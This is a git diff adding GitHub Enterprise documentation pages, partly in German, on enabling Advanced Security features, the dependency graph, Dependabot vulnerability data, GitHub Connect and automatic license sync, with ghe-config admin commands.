+For example, you can enable any {% data variables.product.prodname_GH_advanced_security %} feature with your infrastructure-as-code tooling when you deploy an instance for staging or disaster recovery.
+
+1. SSH into {% data variables.location.product_location %}.
+1. Enable features for {% data variables.product.prodname_GH_advanced_security %}.
+
+    - To enable {% data variables.product.prodname_code_scanning_capc %}, enter the following commands.
+    ```shell
+    ghe-config app.minio.enabled true
+    ghe-config app.code-scanning.enabled true
+    ```
+    - To enable {% data variables.product.prodname_secret_scanning_caps %}, enter the following command.
+    ```shell
+    ghe-config app.secret-scanning.enabled true
+    ```
+    - To enable the dependency graph, enter the following {% ifversion ghes %}command{% else %}commands{% endif %}.
+    {% ifversion ghes %}```shell
+    ghe-config app.dependency-graph.enabled true
+    ```
+    {% else %}```shell
+    ghe-config app.github.dependency-graph-enabled true
+    ghe-config app.github.vulnerability-alerting-and-settings-enabled true
+    ```{% endif %}
+2. Optionally, disable features for {% data variables.product.prodname_GH_advanced_security %}.
+
+    - To disable {% data variables.product.prodname_code_scanning %}, enter the following commands.
+    ```shell
+    ghe-config app.minio.enabled false
+    ghe-config app.code-scanning.enabled false
+    ```
+    - To disable {% data variables.product.prodname_secret_scanning %}, enter the following command.
+    ```shell
+    ghe-config app.secret-scanning.enabled false
+    ```
+    - To disable the dependency graph, enter the following {% ifversion ghes %}command{% else %}commands{% endif %}.
+    {% ifversion ghes %}```shell
+    ghe-config app.dependency-graph.enabled false
+    ```
+    {% else %}```shell
+    ghe-config app.github.dependency-graph-enabled false
+    ghe-config app.github.vulnerability-alerting-and-settings-enabled false
+    ```{% endif %}
+3. Apply the configuration.
+    ```shell
+    ghe-config-apply
+    ```
diff --git a/translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/index.md b/translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/index.md
new file mode 100644
index 0000000000..e83c592fbf
--- /dev/null
+++ b/translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/index.md
@@ -0,0 +1,29 @@
+---
+title: Verwalten von GitHub Advanced Security für dein Unternehmen
+shortTitle: GitHub Advanced Security
+intro: 'Du kannst {% data variables.product.prodname_advanced_security %} konfigurieren und die Nutzung durch dein Unternehmen an die Bedürfnisse deiner Organisation anpassen.'
+product: '{% data reusables.gated-features.ghas %}'
+redirect_from:
+  - /enterprise/admin/configuration/configuring-advanced-security-features
+  - /admin/configuration/configuring-advanced-security-features
+  - /admin/advanced-security
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '> 3.6'
+topics:
+  - Enterprise
+children:
+  - /enabling-github-advanced-security-for-your-enterprise
+  - /managing-github-advanced-security-features-for-your-enterprise
+  - /configuring-code-scanning-for-your-appliance
+  - /configuring-dependency-review-for-your-appliance
+  - /configuring-secret-scanning-for-your-appliance
+ms.openlocfilehash: 1bc8afef1516d59a5e0b84174eb13c45787098f1
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147773202'
+---
+
diff --git a/translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise.md b/translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise.md
new file mode 100644
index 0000000000..18fa90a75e
--- /dev/null
+++ b/translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise.md
@@ -0,0 +1,63 @@
+---
+title: Verwalten von GitHub Advanced Security-Features für dein Unternehmen
+intro: 'Du kannst {% data variables.product.prodname_GH_advanced_security %}-Features steuern, die Code in allen Organisationen im Besitz deines Unternehmens sichern und analysieren.'
+permissions: 'Enterprise owners can manage {% data variables.product.prodname_advanced_security %} features for organizations in an enterprise.'
+versions:
+  feature: secret-scanning-enterprise-level
+type: how_to
+topics:
+  - Alerts
+  - Advanced Security
+  - Dependency graph
+  - Secret scanning
+  - Repositories
+shortTitle: Manage GitHub Advanced Security
+ms.openlocfilehash: 0d48863d55805c5386435b7fef52a61a4ba7d43c
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107205'
+---
+## Informationen zur Verwaltung von {% data variables.product.prodname_advanced_security %}-Features
+
+Mithilfe von {% data variables.product.prodname_advanced_security %}-Features kannst du die Sicherheit für die Organisationen in deinem Unternehmen erhöhen. Für eine optimale Verwaltung von {% data variables.product.prodname_advanced_security %} kannst du die einzelnen Features für alle vorhandenen und/oder neuen Repositorys innerhalb der Organisationen im Besitz deines Unternehmens aktivieren oder deaktivieren.
+
+{% ifversion ghes or ghec %}Weitere Informationen zum Erwerb einer Lizenz für {% data variables.product.prodname_GH_advanced_security %} findest du unter [Informationen zur Abrechnung von {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security).{% elsif ghae %}In der Betaversion fallen keine Gebühren für {% data variables.product.prodname_GH_advanced_security %} in {% data variables.product.prodname_ghe_managed %} an.{% endif %}
+
+Ist {% data variables.product.prodname_GH_advanced_security %} für eine Organisation nicht zugelassen, wirkt sich das Aktivieren eines Features für alle vorhandenen oder neuen Repositorys nicht auf diese Organisation aus. Weitere Informationen zum Ablehnen von {% data variables.product.prodname_GH_advanced_security %} für eine Organisation findest du unter [Erzwingen von Richtlinien für Advanced Security in deinem Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise).
+
+Wenn du ein oder mehrere Sicherheits- und Analysefeatures für vorhandene Repositorys aktivierst, werden alle Ergebnisse innerhalb von Minuten in {% data variables.product.prodname_dotcom %} angezeigt.
+
+{% data reusables.security.security-and-analysis-features-enable-read-only %}
+
+## Verwalten von {% data variables.product.prodname_advanced_security %}-Features
+
+{% data reusables.advanced-security.note-org-enable-uses-seats %}
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %}
+1. Klicke in der linken Randleiste auf **Codesicherheit und -analyse**. 
+1. Optional kannst du ein Feature für alle vorhandenen Repositorys aktivieren oder deaktivieren.
+
+   - Klicke rechts neben dem Feature auf **Alle deaktivieren** oder **Alle aktivieren**. {% ifversion ghes or ghec %}Ist die Steuerung für {% data variables.product.prodname_GH_advanced_security %} deaktiviert, sind in deiner {% data variables.product.prodname_GH_advanced_security %}-Lizenz keine offenen Plätze verfügbar.{% endif %}
+   
+   ![Screenshot: Schaltflächen „Alle aktivieren“ oder „Alle deaktivieren“ für „Sicherheits- und Analysefeatures konfigurieren“](/assets/images/enterprise/security/enterprise-security-and-analysis-disable-or-enable-all.png)
+
+   - Klicke auf **Alle aktivieren/deaktivieren** oder **Für berechtigte Repositorys aktivieren/deaktivieren**, um die Änderung zu bestätigen.
+   
+     ![Screenshot: Schaltfläche zum Aktivieren eines Features für alle berechtigten Repositorys in der Organisation](/assets/images/enterprise/security/enterprise-security-and-analysis-enable-secret-scanning.png)
+
+1. Wenn du ein Feature automatisch aktivieren oder deaktivieren möchtest, wenn neue Repositorys hinzugefügt werden, aktiviere das Kontrollkästchen unterhalb des Features.
+   
+   ![Screenshot: Kontrollkästchen zum Aktivieren eines Features für neue Repositorys](/assets/images/enterprise/security/enterprise-security-and-analysis-enable-or-disable-feature-checkbox.png){% ifversion secret-scanning-custom-link-on-block %}
+
+1. Wenn du optional einen Ressourcenlink in die Nachricht einfügen möchtest, die Mitgliedern beim Pushversuch eines Geheimnisses angezeigt wird, wähle **Ressourcenlink in CLI und Webbenutzeroberfläche hinzufügen, wenn ein Commit blockiert ist** aus, gib eine URL ein, und klicke auf **Link speichern**.
+  
+  {% note %}
+
+  **Hinweis**: Ist für eine Organisation ein benutzerdefinierter Link konfiguriert, setzt der Wert auf Organisationsebene den benutzerdefinierten Link für das Unternehmen außer Kraft. Weitere Informationen findest du unter [Schützen von Pushvorgängen mithilfe der Geheimnisüberprüfung](/code-security/secret-scanning/protecting-pushes-with-secret-scanning).
+
+  {% endnote %}
+
+   ![Screenshot: Kontrollkästchen und Textfeld zum Aktivieren eines benutzerdefinierten Links](/assets/images/help/organizations/secret-scanning-custom-link.png){% endif %}
+
diff --git a/translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise.md b/translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise.md
new file mode 100644
index 0000000000..f335036df9
--- /dev/null
+++ b/translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise.md
@@ -0,0 +1,22 @@
+---
+title: About supply chain security for your enterprise
+intro: You can enable features that help your developers understand and update the dependencies their code relies on.
+shortTitle: About supply chain security
+permissions: ''
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Security
+  - Dependency graph
+---
+
+You can allow users to identify their projects' dependencies by {% ifversion ghes %}enabling{% elsif ghae %}using{% endif %} the dependency graph for {% data variables.location.product_location %}. For more information, see "{% ifversion ghes %}[Enabling the dependency graph for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise){% elsif ghae %}[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph){% endif %}."
+
+{% data reusables.dependency-review.dependency-review-enabled-ghes %}
+
+You can also allow users on {% data variables.location.product_location %} to find and fix vulnerabilities in their code dependencies by enabling {% data variables.product.prodname_dependabot_alerts %}{% ifversion ghes %} and {% data variables.product.prodname_dependabot_updates %}{% endif %}. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)."
+
+After you enable {% data variables.product.prodname_dependabot_alerts %}, you can view vulnerability data from the {% data variables.product.prodname_advisory_database %} on {% data variables.location.product_location %} and manually sync the data. For more information, see "[Viewing the vulnerability data for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise)."
diff --git a/translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise.md b/translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise.md
new file mode 100644
index 0000000000..2cd9bdd9f3
--- /dev/null
+++ b/translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise.md
@@ -0,0 +1,60 @@
+---
+title: Enabling the dependency graph for your enterprise
+intro: You can allow users to identify their projects' dependencies by enabling the dependency graph.
+shortTitle: Enable dependency graph
+permissions: Site administrators can enable the dependency graph.
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Security
+  - Dependency graph
+---
+
+## About the dependency graph
+
+{% data reusables.dependabot.about-the-dependency-graph %} For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)"
+
+{% data reusables.dependency-review.dependency-review-enabled-ghes %}
+
+After you enable the dependency graph for your enterprise, you can enable {% data variables.product.prodname_dependabot %} to detect insecure dependencies in your repository{% ifversion ghes %} and automatically fix the vulnerabilities{% endif %}. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)."
+
+{% ifversion ghes %}
+You can enable the dependency graph via the {% data variables.enterprise.management_console %} or the administrative shell. We recommend using the {% data variables.enterprise.management_console %} unless {% data variables.location.product_location %} uses clustering.
+
+## Enabling the dependency graph via the {% data variables.enterprise.management_console %}
+
+If {% data variables.location.product_location %} uses clustering, you cannot enable the dependency graph with the {% data variables.enterprise.management_console %} and must use the administrative shell instead. For more information, see "[Enabling the dependency graph via the administrative shell](#enabling-the-dependency-graph-via-the-administrative-shell)."
+
+{% data reusables.enterprise_site_admin_settings.sign-in %}
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.advanced-security-tab %}
+1. Under "Security," click **Dependency graph**.
+![Checkbox to enable or disable the dependency graph](/assets/images/enterprise/3.2/management-console/enable-dependency-graph-checkbox.png)
+{% data reusables.enterprise_management_console.save-settings %}
+1. Click **Visit your instance**.
+
+## Enabling the dependency graph via the administrative shell
+
+{% endif %}
+{% data reusables.enterprise_site_admin_settings.sign-in %}
+1. In the administrative shell, enable the dependency graph on {% data variables.location.product_location %}:
+    {% ifversion ghes %}```shell
+    ghe-config app.dependency-graph.enabled true
+    ```
+    {% else %}```shell
+    ghe-config app.github.dependency-graph-enabled true
+  ghe-config app.github.vulnerability-alerting-and-settings-enabled true
+    ```{% endif %}
+   {% note %}
+
+   **Note**: For more information about enabling access to the administrative shell via SSH, see "[Accessing the administrative shell (SSH)](/enterprise/admin/configuration/accessing-the-administrative-shell-ssh)."
+
+   {% endnote %}
+2. Apply the configuration.
+    ```shell
+    $ ghe-config-apply
+    ```
+3. Return to {% data variables.product.prodname_ghe_server %}.
diff --git a/translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/index.md b/translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/index.md
new file mode 100644
index 0000000000..bcc51582b3
--- /dev/null
+++ b/translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/index.md
@@ -0,0 +1,21 @@
+---
+title: Verwalten der Lieferkettensicherheit für dein Unternehmen
+shortTitle: Supply chain security
+intro: 'Du kannst die Abhängigkeiten in der Softwarelieferkette deiner Entwickler*innen visualisieren, verwalten und schützen.'
+versions:
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+children:
+  - /about-supply-chain-security-for-your-enterprise
+  - /enabling-the-dependency-graph-for-your-enterprise
+  - /viewing-the-vulnerability-data-for-your-enterprise
+ms.openlocfilehash: abea058659a8e03689b63d14fa8a207cdd5b41ee
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145107004'
+---
+
diff --git a/translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise.md b/translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise.md
new file mode 100644
index 0000000000..b20b4c62a4
--- /dev/null
+++ b/translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise.md
@@ -0,0 +1,27 @@
+---
+title: Viewing the vulnerability data for your enterprise
+intro: 'You can view vulnerability data from the {% data variables.product.prodname_advisory_database %} on {% data variables.location.product_location %}.'
+shortTitle: View vulnerability data
+permissions: 'Site administrators can view vulnerability data on {% data variables.location.product_location %}.'
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Security
+  - Dependency graph
+---
+
+If {% data variables.product.prodname_dependabot_alerts %} are enabled for your enterprise, you can view all vulnerabilities that were downloaded to {% data variables.location.product_location %} from the {% data variables.product.prodname_advisory_database %}.
+
+You can manually sync vulnerability data from {% data variables.product.prodname_dotcom_the_website %} to update the list.
+
+Before you can view vulnerability data, you must enable {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)."
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+2. In the left sidebar, click **Vulnerabilities**.
+  ![Vulnerabilities tab in the site admin sidebar](/assets/images/enterprise/business-accounts/vulnerabilities-tab.png)
+3. To sync vulnerability data, click **Sync Vulnerabilities now**.
+  ![Sync vulnerabilities now button](/assets/images/enterprise/site-admin-settings/sync-vulnerabilities-button.png)
+
diff --git a/translations/de-DE/content/admin/configuration/configuring-github-connect/about-github-connect.md b/translations/de-DE/content/admin/configuration/configuring-github-connect/about-github-connect.md
new file mode 100644
index 0000000000..0b8a8eddee
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-github-connect/about-github-connect.md
@@ -0,0 +1,74 @@
+---
+title: Informationen zu GitHub Verbinden
+intro: '{% data variables.product.prodname_github_connect %} optimiert {% data variables.product.product_name %}, indem du Zugriff auf zusätzliche Features und Workflows erhältst, die auf der Leistungsfähigkeit von {% data variables.product.prodname_dotcom_the_website %} basiert.'
+versions:
+  ghes: '*'
+  ghae: '*'
+type: overview
+topics:
+  - Enterprise
+  - GitHub Connect
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: ac4ec1d8b619e56c38013f5ae38d5782b6faec88
+ms.sourcegitcommit: 2e1852bcdd690cb66b9b5d69cb056a2bb2b9a6b4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: '148160816'
+---
+## Informationen zu {% data variables.product.prodname_github_connect %}
+
+{% data variables.product.prodname_github_connect %} verbessert {% data variables.product.product_name %}, indem {% data variables.location.product_location %} erlaubt wird, begrenzt von der Leistungsfähigkeit von {% data variables.product.prodname_dotcom_the_website %} profitieren zu können. Nachdem du {% data variables.product.prodname_github_connect %} aktiviert hast, kannst du zusätzliche Features und Workflows aktivieren, die auf {% data variables.product.prodname_dotcom_the_website %} basieren, zum Beispiel {% data variables.product.prodname_dependabot_alerts %} für Sicherheitsrisiken, die in {% data variables.product.prodname_advisory_database %} nachverfolgt werden.
+
+{% data variables.product.prodname_github_connect %} kann {% data variables.location.product_location %} im öffentlichen Internet nicht öffnen. Keine der privaten Daten deines Unternehmens wird für {% data variables.product.prodname_dotcom_the_website %}-Benutzer*innen verfügbar gemacht. Stattdessen übermittelt {% data variables.product.prodname_github_connect %} nur die begrenzten Daten, die für die einzelnen Funktionen erforderlich sind, die du aktivieren möchtest. Sofern du die Lizenzsynchronisierung nicht aktivierst, werden keine personenbezogenen Daten von {% data variables.product.prodname_github_connect %} übermittelt. Weitere Informationen dazu, welche Daten von {% data variables.product.prodname_github_connect %} übertragen werden, findest du unter [Datenübertragung für {% data variables.product.prodname_github_connect %}](#data-transmission-for-github-connect).
+
+Wenn {% data variables.product.prodname_github_connect %} aktiviert wird, können {% data variables.product.prodname_dotcom_the_website %}-Benutzer keine Änderungen an {% data variables.product.product_name %} vornehmen.
+
+Um {% data variables.product.prodname_github_connect %} zu aktivieren, konfiguriere eine Verbindung zwischen {% data variables.location.product_location %} und einem Unternehmenskonto für {% data variables.product.prodname_dotcom_the_website %}, die {% data variables.product.prodname_ghe_cloud %} verwendet. {% data reusables.github-connect.connection-port-protocol %} Weitere Informationen findest du unter [Verwalten von {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect).
+
+Nachdem du {% data variables.product.prodname_github_connect %} aktiviert hast, kannst du Funktionen wie {% ifversion ghes %}automatische Benutzerlizenzsynchronisierung und {% endif %}{% data variables.product.prodname_dependabot_alerts %} aktivieren. Weitere Informationen zu allen verfügbaren Funktionen findest du unter [{% data variables.product.prodname_github_connect %}-Funktionen](#github-connect-features).
+
+## {% data variables.product.prodname_github_connect %}-Funktionen
+
+Nachdem du die Verbindung zwischen {% data variables.location.product_location %} und {% data variables.product.prodname_ghe_cloud %} konfiguriert hast, kannst du einzelne Funktionen von {% data variables.product.prodname_github_connect %} für dein Unternehmen aktivieren.
+
+Funktion | Beschreibung | Weitere Informationen | ------- | ----------- | ---------------- | {% ifversion ghes %} Automatische Benutzerlizenzsynchronisierung | Verwalte die Lizenznutzung in deinen {% data variables.product.prodname_enterprise %}-Bereitstellungen, indem du Benutzerlizenzen automatisch von {% data variables.location.product_location %} mit {% data variables.product.prodname_ghe_cloud %} synchronisierst. | [Aktivieren der automatischen Benutzerlizenzsynchronisierung für dein Unternehmen](/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise){% endif %}{% ifversion ghes or ghae %} {% data variables.product.prodname_dependabot %} | Lasse zu, dass Benutzer*innen Sicherheitsrisiken in Codeabhängigkeiten finden und beheben können. | [Aktivieren von {% data variables.product.prodname_dependabot %} für dein Unternehmen](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise){% endif %} {% data variables.product.prodname_dotcom_the_website %}-Aktionen | Lasse zu, dass Benutzer*innen Aktionen aus {% data variables.product.prodname_dotcom_the_website %} in Workflowdateien verwenden können. | [Aktivieren des automatischen Zugriffs auf {% data variables.product.prodname_dotcom_the_website %}-Aktionen unter Verwendung von {% data variables.product.prodname_github_connect %}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect){% ifversion server-statistics %} {% data variables.product.prodname_server_statistics %} | Analysiere deine eigenen aggregierten Daten von GitHub Enterprise Server und hilf uns, GitHub Produkte zu verbessern. | „[Aktivieren von {% data variables.product.prodname_server_statistics %} für dein Unternehmen](/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise)"{% endif %} Einheitliche Suche | Lasse zu, dass Benutzer Repositorys für {% data variables.product.prodname_dotcom_the_website %} in ihre Suchergebnisse einschließen können, wenn diese nach {% data variables.location.product_location %} suchen. | [Aktivieren von {% data variables.enterprise.prodname_unified_search %} für dein Unternehmen](/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise) Einheitliche Beiträge | Lasse, dass Benutzer*innen anonymisierte Beiträge für ihre Arbeit an {% data variables.location.product_location %} in ihre Beitrags-Graphen auf {% data variables.product.prodname_dotcom_the_website %} einfügen können. | [Aktivieren von {% data variables.enterprise.prodname_unified_contributions %} für dein Unternehmen](/admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise)
+
+## Datenübertragung für {% data variables.product.prodname_github_connect %} 
+
+Wenn {% data variables.product.prodname_github_connect %} aktiviert ist, werden in einem Datensatz auf {% data variables.product.prodname_ghe_cloud %} Informationen zur Verbindung gespeichert. Wenn du einzelne Features von {% data variables.product.prodname_github_connect %} aktivierst, werden zusätzliche Daten übertragen.
+
+{% note %}
+
+**Hinweis:** Es werden keine Repositorys, Probleme oder Pull Request von {% data variables.product.product_name %} an {% data variables.product.prodname_dotcom_the_website %} von {% data variables.product.prodname_github_connect %} übertragen.
+
+{% endnote %}
+
+### Bei Aktivierung von {% data variables.product.prodname_github_connect %} übertragene Daten
+
+Wenn du {% data variables.product.prodname_github_connect %} oder bestimmte {% data variables.product.prodname_github_connect %}-Funktionen aktivierst, speichert ein Datensatz in {% data variables.product.prodname_ghe_cloud %} die folgenden Informationen zur Verbindung.
+{% ifversion ghes %}
+- Der Teil des öffentlichen Schlüssels deiner {% data variables.product.prodname_ghe_server %}-Lizenz
+- Ein Hash deiner {% data variables.product.prodname_ghe_server %}-Lizenz
+- Der Kundenname auf deiner {% data variables.product.prodname_ghe_server %}-Lizenz
+- Die Version von {% data variables.location.product_location_enterprise %}{% endif %}
+- Der Hostname von {% data variables.location.product_location %}
+- Die Organisation oder das Unternehmenskonto auf {% data variables.product.prodname_ghe_cloud %}, verbunden mit {% data variables.location.product_location %}
+- Das Authentifizierungs-Token, das von {% data variables.location.product_location %} verwendet wird, um Anforderungen an {% data variables.product.prodname_ghe_cloud %} zu senden
+- Wenn Transport Layer Security (TLS) aktiviert und für {% data variables.location.product_location %}{% ifversion ghes %} konfiguriert ist
+- Die {% data variables.product.prodname_github_connect %}-Funktionen, die für {% data variables.location.product_location %} aktiviert sind, und das Datum und die Uhrzeit der Aktivierung{% endif %}
+- Die Inaktivitätsschwelle für dein Unternehmen
+- Die Anzahl der ruhenden Benutzer*innen für dein Unternehmen
+- Anzahl der Lizenzen aufbrauchenden Arbeitsplätze, die keine gesperrten Benutzer enthalten
+
+{% data variables.product.prodname_github_connect %} synchronisiert die oben genannten Verbindungsdaten zwischen {% data variables.location.product_location %} und {% data variables.product.prodname_ghe_cloud %} wöchentlich, ab dem Tag und der ungefähren Zeit, zu der {% data variables.product.prodname_github_connect %} aktiviert wurde.
+
+### Von einzelnen Features von {% data variables.product.prodname_github_connect %} übertragene Daten
+
+Zusätzliche Daten werden übertragen, wenn du einzelne Funktionen von {% data variables.product.prodname_github_connect %} aktivierst.
+
+Funktion | Daten | Wohin fließen die Daten? | Wo befinden sich die verwendeten Daten? | ------- | ---- | --------- | ------ | {% ifversion ghes %} Automatische Benutzerlizenzsynchronisierung | Jede {% data variables.product.product_name %}-Benutzer-ID und E-Mail-Adressen | Von {% data variables.product.product_name %} zu {% data variables.product.prodname_ghe_cloud %} | {% data variables.product.prodname_ghe_cloud %} |{% endif %}{% ifversion ghes or ghae %} {% data variables.product.prodname_dependabot_alerts %} | Sicherheitsrisiken | Von {% data variables.product.prodname_dotcom_the_website %} bis {% data variables.product.product_name %} | {% data variables.product.product_name %} |{% endif %}{% ifversion dependabot-updates-github-connect %} {% data variables.product.prodname_dependabot_updates %} | Abhängigkeiten und die Metadaten für das Repository jeder Abhängigkeit<br><br>Wenn eine Abhängigkeit in einem privaten Repository für {% data variables.product.prodname_dotcom_the_website %}gespeichert wird, werden Daten nur übertragen, wenn {% data variables.product.prodname_dependabot %} konfiguriert und für den Zugriff auf dieses Repository autorisiert sind. | Von {% data variables.product.prodname_dotcom_the_website %} bis {% data variables.product.product_name %} | {% data variables.product.product_name %} {% endif %} {% data variables.product.prodname_dotcom_the_website %}-Aktionen | Name der Aktion, Aktion (YAML-Datei aus {% data variables.product.prodname_marketplace %}) | Von {% data variables.product.prodname_dotcom_the_website %} zu {% data variables.product.product_name %}<br><br>Von {% data variables.product.product_name %} zu {% data variables.product.prodname_dotcom_the_website %} | {% data variables.product.product_name %}{% ifversion server-statistics %} {% data variables.product.prodname_server_statistics %} | Aggregierte Metriken zu deiner Nutzung von {% data variables.product.prodname_ghe_server %} Eine vollständige Liste der Metriken findest du unter [Informationen zu {% data variables.product.prodname_server_statistics %}](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics#server-statistics-data-collected). | Von {% data variables.product.product_name %} zu {% data variables.product.prodname_ghe_cloud %} | {% data variables.product.prodname_ghe_cloud %}{% endif %} Einheitliche Suche | Suchbegriffe, Suchergebnisse | Von {% data variables.product.prodname_dotcom_the_website %} zu {% data variables.product.product_name %}<br><br>Von {% data variables.product.product_name %} zu {% data variables.product.prodname_dotcom_the_website %} | {% data variables.product.product_name %} | Einheitliche Beiträge | Beitragsanzahl | Von {% data variables.product.product_name %} zu {% data variables.product.prodname_dotcom_the_website %} | {% data variables.product.prodname_dotcom_the_website %} |
+
+## Weiterführende Themen
+
+- „[Unternehmenskonten](/graphql/guides/managing-enterprise-accounts)“ in der Dokumentation zur GraphQL-API
diff --git a/translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise.md b/translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise.md
new file mode 100644
index 0000000000..4f4bff2a29
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise.md
@@ -0,0 +1,43 @@
+---
+title: Enabling automatic user license sync for your enterprise
+intro: 'You can manage license usage across your {% data variables.product.prodname_enterprise %} environments by automatically syncing user licenses from {% data variables.location.product_location %} to {% data variables.product.prodname_ghe_cloud %}.'
+redirect_from:
+  - /enterprise/admin/installation/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud
+  - /enterprise/admin/configuration/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud
+  - /admin/configuration/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud
+  - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud
+  - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud
+permissions: Enterprise owners can enable automatic user license synchronization.
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - GitHub Connect
+  - Licensing
+shortTitle: Automatic user license sync
+---
+## About automatic license synchronization
+
+{% data reusables.enterprise-licensing.unique-user-licensing-model %}
+
+{% data reusables.enterprise-licensing.about-license-sync %} For more information, see "[About {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect#data-transmission-for-github-connect)."
+
+If you enable automatic user license sync for your enterprise, {% data variables.product.prodname_github_connect %} will automatically synchronize license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} weekly.{% ifversion ghes > 3.4 %} You can also synchronize your license data at any time outside of the automatic weekly sync, by manually triggering a license sync job. For more information, see "[Triggering a license sync job](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud#triggering-a-license-sync-job)."{% endif %}
+
+If you use multiple {% data variables.product.prodname_ghe_server %} instances, you can enable automatic license sync between each of your instances and the same organization or enterprise account on {% data variables.product.prodname_ghe_cloud %}.
+
+{% data reusables.enterprise-licensing.view-consumed-licenses %}
+
+You can also manually upload {% data variables.product.prodname_ghe_server %} user license information to {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)."
+
